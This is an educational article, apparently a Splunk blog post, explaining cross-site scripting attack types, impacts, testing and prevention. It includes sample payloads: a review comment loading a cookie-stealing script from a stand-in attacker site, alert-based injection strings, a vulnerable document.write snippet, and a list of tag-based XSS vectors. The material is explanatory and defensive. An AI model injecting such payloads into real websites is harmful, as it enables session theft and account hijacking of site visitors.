How Cross-Site Scripting (XSS) Attacks Work & How To Prevent Them

Cross-Site Scripting (XSS) attacks are bad news. And they can affect lots of people, often unknowingly. Chief among the top cybersecurity threats affecting users worldwide, any website with unsafe elements can become vulnerable to XSS attacks — making visitors to that website unwitting cyberattack victims.

To secure your website from XSS attacks, you must first know what they are. This article explains important information about XSS attacks, including how they work, their impact, types of XSS attacks, and crucially, what you can do to prevent them.  

(This article was written by Shanika Wickramasinghe. See more of Shanika's contributions to Splunk Learn.)

What is a cross-site scripting (XSS) attack? 

An XSS attack is a common cyberattack in which attackers use vulnerabilities in trusted websites to inject malicious code and execute that code in the browsers of users who visit the website. Though the host includes the malicious code, XSS targets the visitors to the injected website. 

The malicious script is commonly a client-side JavaScript code. Let’s see what it looks like…

Imagine you’re browsing a well-established news site, like the BBC or The Wall Street Journal. Because your browser trusts the website — it’s established and has the appropriate credentials — your browser cannot verify the legitimacy of the additional script. This enables the malicious script to perform unauthorized (often unknowable) actions on the your browser, like:

  • Stealing sensitive data, session cookies or tokens, etc.
  • Sending malicious plugins, media or software downloads to the client side.

In this process, the attacker bypasses the browser’s origin policy and uses malicious code to attack readers of the website.

(See how brute force compares to XSS attacks.)

How does XSS work?

XSS exploits vulnerabilities in your webpages and websites. When the same-origin policy is not properly implemented on a web page, it allows attackers to inject malicious scripts from anywhere. Following are the general steps of an XSS attack, from its craft to total compromise: 

  1. First, attackers find a website that has vulnerabilities that allow them to inject malicious scripts. During this phase, the attacker checks for exploits, like if the websites allow user inputs without proper validation, by injecting test <script> tags with links to JavaScript code embedded in it.  
  2. Once they confirm the website can be used for their purpose, the attackers inject the malicious code in it or create links using the http request generated from that website and send that malicious link to users via email or social media.
  3. If the code injects into the web page, the malicious script will execute whenever any user visits it. If the attack delivers via a malicious link, users who click on the links will be redirected to the page, and the attack will take place in the users’ browsers.

(Explore more common vulnerabilities.)

Cross-site scripting (XSS) attack types

There are three types of XSS attacks: stored, reflected and DOM-based. Let’s look at each.

Stored XSS attacks

In a stored or persistent XSS attack, the attacker stores the malicious script permanently in the target. Examples here are websites that allow users to include content, like user review/feedback forms, message boards, forums, social networks, etc.

Suppose X is a retail website. The user feedback form has a vulnerability—and an attacker knows they can now inject a malicious script. The attacker posts the following feedback:

The product was great and worth the price <script src=”http://attacksite.com/stealUserAuth.js”> </script> 

The script specified here is written to steal authentication data hosted on the attackers’ site. When any user visits this section, this script executes in the users’ browsers and steals the session cookies. The attacker can then each session cookie to access each user’s account. That means the attacker can steal sensitive user data like credit card information stored in the account.

Beware the timeline of XSS attacks. Because a user may never see the injected comment, in a flood of reviews or comments, the user is not aware of the attack for a long time. 

Reflected XSS Attacks

Reflected or non-persistent attacks reflect the injected script off a web server. Search forms that have not sufficiently been sanitized are often vulnerable to such attacks. When the user enters a search query, they only see the query they entered as a result. The attacker uses this vulnerability to inject malicious scripts into the search request.  

For example, the attacker first finds a website that allows the injection of malicious scripts by including the following query in their search bar:

<script type=’text/javascript’>alert(test);</script>

The page reflects the query as follows:  

“<script type=’text/javascript’>alert(test);</script > not found.”

The search request for this sets to:

http://website.com?q=<script type=”text/javascript”>alert(test); </script>.

This confirms that the attacker of this page is vulnerable. Then the attackers craft links that embed the malicious script  as follows and deliver it to their targets via email or this-party social media : 


An unsuspecting user clicking it initiates a request to the exploited website to execute the malicious script in the victim’s browser. 

DOM-based XSS Attacks

DOM-based XSS exploits client-side JavaScript vulnerabilities that process and dynamically write unstructured data back to the Document Object Model (DOM) to inject malicious scripts. 

For example, suppose a website displays the user's name, taken from the document URL.


The browser contains the following code that writes the name back to it:


<TITLE>Our Website</TITLE>


        var position =document.URL.indexOf("name=")+6;

        document.write(document.URL.substring(position ,document.URL.length));





The attacker exploits this vulnerability, crafts a link that includes the malicious script in the name query parameter and distributes the link via email or social media. 



When an unsuspecting victim clicks on this link, the browser loads the website and executes the malicious script.


Impacts of XSS attacks

OK. Now that we now how they work, we can start to see the consequences of XSS attacks.

Based on the attack type, the users and the types of data targeted by attackers, XSS attacks can have several different consequences. Here are some possible damages of XSS attacks on your organization: 

Hijacking user accounts

XSS attacks allow attackers to extract session cookies from the users of injected websites and use them to hijack user accounts. The attacker then can mimic a legitimate user and perform any user action they are allowed to perform on that website. 

Performing unauthorized actions

Suppose an attacker takes control over an administrator account. Now the attacker can perform administrative actions like viewing other user details, accessing databases, modifying code, etc. 

Stealing sensitive information

Once the attacker gains access to the account, sensitive information stored in the account can be leaked, including:

  • Login credentials
  • Banking and credit card information
  • Contact and personal information
  • Browsing and purchase histories

Downloading malware and spreading botnet attacks

Malicious links crafted from exploited websites can redirect users to download malware. Additionally, once the attackers have compromised the victims’ accounts, they can create and spread botnets. 

(Get the latest malware news from CISA, including Trickbot, Qakbot and more.)

Stealing credentials

Attackers can create clones of a website login page and XSS vulnerabilities to deliver it to their targets. Victims then enter that page, enter credentials, and the website forwards them to a server in their control, stealing the credentials.

How to find websites vulnerable to XSS attacks

You can check that your website has weak points that expose you to XSS attacks in two ways — manually checking via payloads or using an automated approach. 

  1. Manually testing using attack payloads. Inject a malicious payload manually to your website. For example, use the alert () function in your inputs and check if reflected in your browser. 
  2. Using a web vulnerability scanner. These tools can automate XSS detection, using static and dynamic analysis of JavaScript to detect XSS vulnerabilities.

(Stay relevant on threat actors with security events to attend and security articles to read.)

XSS attack vectors

Following are the common HTML tags and their attributes used to insert malicious code and carry out cross-site scripting attacks:

The <script> tag

<script src=http://website.com/stealUserAuth.js></script>
<script> alert("XSS");</script>

The <img> tag

<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<img src=”test” onerror=alert("XSS")>

The <input> tag 

<input type="image" src="javascript:alert('XSS');">

The <body> tag 

<body background="javascript:alert("XSS")">

The <object> tag

<object type="text/x-scriptlet" data="http://website.com/test.html">

The <iframe> tag

<iframe src="http://website.com/test.htm">

The <div> tag attributes

<div style="background-image: url(javascript:alert('XSS'))">

The <link> tag

<link rel="stylesheet" href="javascript:alert('XSS');">

How to prevent XSS attacks

XSS attacks are bad news. Preparing for them is possible, particularly by minimizing vulnerabilities. Here are the proper security techniques to use to prevent XSS attacks:

  • Sanitize outputs properly. Depending on the user input, use a suitable escaping technique like HTML escape, CSS escape, JavaScript escape, URL escape, etc. Use a trusted and verified library to escape HTML inputs. 
  • Input validation. For example, validate URLs containing safe protocols like HTTP and HTTPS, validate numerics to ensure the input does not contain unnecessary characters, etc. 
  • Enforce the Content Security Policy (CSP). This policy allows users to only load client-side resources, such as JavaScript and CSS, from trusted sources. 
  • Set the HttpOnly flag. You can set this flag in the cookies to prevent JavaScripe code from accessing the cookies.
  • Use the X-XSS-Protection Header. Set this in browsers like Google Chrome and Microsoft Edge to prevent reflected XSS attacks.
  • Implement Web Application Firewalls. WAFs can check for specific attack strings and block them. 

Summing up XSS attacks

XSS attacks are injection-type attacks where attackers inject malicious scripts into web browsers and compromise legitimate user accounts to perform various malicious activities. Three XSS attacks differ in how the malicious script is stored, delivered, and executed. XSS attacks can have severe consequences for both the users and the website, including:

  • Account and website hijacking
  • Data leakage
  • The spreading of malware and botnets

Cybersecurity protocols and ongoing cyber hygiene support the necessary security measurements discussed in this article to prevent and reduce the risks of XSS attacks — and helping business to stay resilient.

What is Splunk?

This posting does not necessarily represent Splunk's position, strategies or opinion.

Shanika Wickramasinghe is a software engineer by profession and a graduate in Information Technology. Her specialties are Web and Mobile Development. Shanika considers writing the best medium to learn and share her knowledge. She is passionate about everything she does, loves to travel, and enjoys nature whenever she takes a break from her busy work schedule. She also writes for her Medium blog when she gets some free time. You can connect with her on LinkedIn.


Posted by


Show All Tags
Show Less Tags